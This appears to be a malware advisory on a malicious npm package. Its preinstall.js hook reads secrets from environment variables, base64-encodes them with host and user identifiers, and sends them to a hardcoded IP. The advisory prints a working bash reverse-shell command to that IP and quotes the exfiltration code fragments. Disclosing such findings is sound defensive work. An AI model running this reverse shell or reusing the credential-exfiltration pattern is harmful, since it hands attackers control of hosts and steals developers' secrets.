GCVE-110-OSM-2026-11416

The preinstall.js lifecycle script executed automatically by npm install performs three hostile actions against the installer's machine. It enumerates process.env, filters for keys matching AWS|TOKEN|KEY|SECRET|PASS|API, base64-encodes the values together with os.hostname() and os.userInfo().username, and sends the blob via curl over plain HTTP to the hardcoded bare-IP endpoint http://216.126.236.46/r.php. On non-Windows platforms it additionally spawns an interactive bash reverse shell to 216.126.236.46:4444 (bash -i >& /dev/tcp/216.126.236.46/4444), giving the remote operator full command execution on the host running npm install. Host identifiers (hostname, username) are exfiltrated to the same IP, supporting victim tracking. Judge assessment: This is a clear npm install-time credential theft and remote access payload, consistent with a malicious publisher targeting developers who run `npm install`. The `preinstall.js` hook reads `process.env` for AWS/TOKEN/KEY/SECRET/PASS/API values, combines them with `os.hostname()` and `os.userInfo().username`, base64-encodes the result, and sends it to the hardcoded C2 `http://216.126.236.46/r.php`. It then launches a bash reverse shell to `216.126.236.46:4444`, which gives the operator interactive command execution on the install host; this is corroborated by the `preinstall.js` entrypoint and the OSV MAL advisory. The package is brand new with a very new publisher account and no repository, but the code itself is already sufficient to conclude hostile intent. ENTRY preinstall.js (install-hook: node preinstall.js || true) - Install Hook Executes Local JS File in package.json DESTINATION - 1 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Data Encoding for Exfiltration in preinstall.js: "Buffer.from(`webhook|${h}|${u}|${env}`).toString("base64")" - System Information Collection in preinstall.js: "os.userInfo()" - Suspicious Domain in preinstall.js: "http://216.126.236.46" ADDITIONAL FINDINGS - Shell Command Execution in preinstall.js: "require("child_process")" - Silent Process Execution in preinstall.js: "stdio: "ignore"" - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES preinstall.js